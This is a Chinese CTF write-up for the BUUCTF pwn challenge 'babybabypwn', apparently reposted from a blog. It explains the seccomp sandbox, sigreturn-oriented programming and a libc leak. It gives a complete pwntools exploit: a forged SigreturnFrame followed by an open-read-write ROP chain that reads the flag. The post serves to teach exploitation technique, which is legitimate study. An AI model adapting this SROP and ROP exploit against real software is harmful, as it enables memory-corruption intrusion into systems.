zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn

    [V&N2020 公开赛]babybabypwn

    附件

    步骤:

    1. 例行检查,64位程序,保护全开
      在这里插入图片描述

    2. 本地试运行一下,看看程序的大概情况
      在这里插入图片描述

    3. 64位ida载入,看一下main函数
      在这里插入图片描述

    4. sub_1202()函数,沙盒的限制条件
      在这里插入图片描述

    5. 用seccomp-tools看一下
      在这里插入图片描述
      其他禁用的指令是干什么的我不是很清楚,但是禁用了execve(系统调用),也就没办法获取shell权限了,只能够想办法通过open–>read–>write的方式来获取flag的值了

    6. sub_1347()函数
      在这里插入图片描述

    7. 一开始给我们泄露了puts函数的地址,接着读入参数buf,限制了长度,不存在溢出,之后进行系统调用syscall,syscall是一个间接系统调用函数
      间接系统调用号
      在这里插入图片描述第一个参数可以是很多数,百度后得知,第一个参数是15的时候代表调用的是sigreturn,看网上师傅都说遇到sigreturn就用SROP

    8. 关于SROP可以看一下这篇文章,总结的很好
      借用一下里面的总结
      如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)
      在这里插入图片描述
      在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn
      在这里插入图片描述
      我们将这段内存称为一个Signal Frame
      在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

    9. 其主要思路是利用信号处理函数结束时,内核在恢复进程上下文时,需要从栈上取Signal Frame来恢复寄存器,由于栈上内容是我们可以控制的,因此可以利用这个过程,人为的操作Signal Frame,进而达到操作寄存器的目的。

    10. 这道题我们可以看到,没有调用signal,,直接就调用了syscall(15)也就是sigreturn函数,我们之前输入的buf被当作各种寄存器参数依次出栈,这个buf充当的角色也就是上面所说的 Signal Frame ,buf的数据我们是可控的,也就是说我们可以按我们的意愿构造进程状态。
      我们就可以通过syscall(15)构造好Signal Frame,把程序流伪造为下一个要执行的函数是read,把我们精心构造的ROP写到某个地方,然后ret过去进行ROP,一般都是写在全局变量段bss段上

    11. 由于开启了PIE,所以我们不知道程序里的地址,但好在泄露了puts函数的地址,这样就可以知道libc版本,然后去计算程序里的函数的地址
      在这里插入图片描述
      找一下libc里bss段的地址(这边有个坑,可能是因为我在buu平台上做的题,在这边下的libc_2.23这个libc版本里的函数地址和buu上的libc-2.23里的地址不一样,这题用buu上的libc地址可以打通)
      在这里插入图片描述
      64位传参,用到了寄存器,先找一下设置寄存器值的指令
      ROPgadget --binary libc-2.23.so |grep “pop rdi”
      在这里插入图片描述
      ROPgadget --binary libc-2.23.so |grep “pop rsi”
      在这里插入图片描述
      ROPgadget --binary libc-2.23.so |grep “pop rdx”
      在这里插入图片描述
      根据上述的信息,我们可以算出程序里的一些寄存器和bss段的实际地址了

    r.recvuntil(': ')
    puts_addr = int(r.recv(14), 16)
    
    libc = LibcSearcher('puts', puts_addr)
    
    libcbase = puts_addr - libc.dump('puts')
    open_addr = libcbase + libc.dump('open') 
    read = libcbase + libc.dump('read')
    write = libcbase + libc.dump('write')
    bss = libcbase + 0x3c5720 + 0x400#往栈上压入数据是从下往上写的, 0x3c5720是bss段的起始地址,我们需要先抬高一下栈,不然往bss段里写东西的时候会覆盖掉其他段的值,可能会导致利用失败
    pop_rdi = libcbase + 0x21102 
    pop_rsi = libcbase + 0x202e8 
    pop_rdx = libcbase + 0x1b92 
    

    在知道了上述的地址后,我们就可以利用pwntools直接来构造Signal Frame
    记得在exp的开头加上context(os='linux', arch='amd64', log_level='debug')来设置一下pwntool是环境,不然没法直接利用pwntools来构造Signal Frame

    frame = SigreturnFrame()
    frame.rdi = 0
    frame.rsi = bss
    frame.rdx = 0x100
    frame.rip = read
    frame.rsp = bss
    r.sendafter('Please input magic message:', str(frame)[8:])
    

    简单说一下为什么要舍弃frame的前8位
    在这里插入图片描述
    通过查看汇编可以看到,下一次函数跳转的时候用到了var_8的值,var_8在栈上的位置
    在这里插入图片描述
    在这里插入图片描述
    在栈上的前8字节,所以我们写入frame 的时候要舍弃掉前8位,避免破坏var_8的值,debug调试可以看到前8位是0x00,不影响

    我们构造的Signal Frame实现的功能主要是调用read函数往bss段写入内容,然后跳转到bss段执行我们布置好的语句
    我们现在要去bss段布置rop攻击的语句,由于禁用了execve,所以使用的open–>read–>write这样的方式读出flag

    现在要找一下’flag’ 字符串的位置
    在这里插入图片描述
    它这个位置距离我们想要写入的bss段的地址是0x98,我们可以用bss+0x98来表示它(写exp的时候得到了bss段的实际地址输出看一下,每次启动的都不一样,但是他们的相对距离是固定的)

    flag_addr = bss + 0x98
    payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
    payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
    payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
    payload += 'flag'
    

    完整exp

    from pwn import *
    from LibcSearcher import *
    
    #local_libc  = './libc-2.23.so'
    #r = remote('node3.buuoj.cn', 28427)
    r=process('./vn_pwn_babybabypwn_1')
    elf = ELF('./vn_pwn_babybabypwn_1')
    
    context(os='linux', arch='amd64', log_level='debug')
    
    
    r.recvuntil(': ')
    puts_addr = int(r.recv(14), 16)
    
    libc = LibcSearcher('puts', puts_addr)
    
    libcbase = puts_addr - libc.dump('puts')
    open_addr = libcbase + libc.dump('open') 
    read = libcbase + libc.dump('read')
    write = libcbase + libc.dump('write')
    bss = libcbase + 0x00000000003c5720 + 0x400
    pop_rdi = libcbase + 0x21102 
    pop_rsi = libcbase + 0x202e8 
    pop_rdx = libcbase + 0x1b92 
    
    frame = SigreturnFrame()
    frame.rdi = 0
    frame.rsi = bss
    frame.rdx = 0x100
    frame.rip = read
    frame.rsp = bss
    r.sendafter('Please input magic message:', str(frame)[8:])
    print 'bss:'+hex(bss)
    
    flag_addr = bss + 0x98
    #flag_addr=0x7ffff77d2f6a	
    payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
    payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
    payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
    payload += 'flagx00'
    
    #gdb.attach(r)
    
    r.send(payload)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    WSGIRequest对象 和querydict对象
    限制请求method及页面重定向
    ORM模型里连接数据库常用方法和QuerySet API
    orm模型(关于时区时间)
    spring mvc 前后端数据交互方式(整理)
    java 国际化(转载)
    spring 基础学习笔记
    (转载)java nio 原理解析
    collection 所有集合的接口。
    java.lang.String类
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273643.html
Copyright © 2011-2022 走看看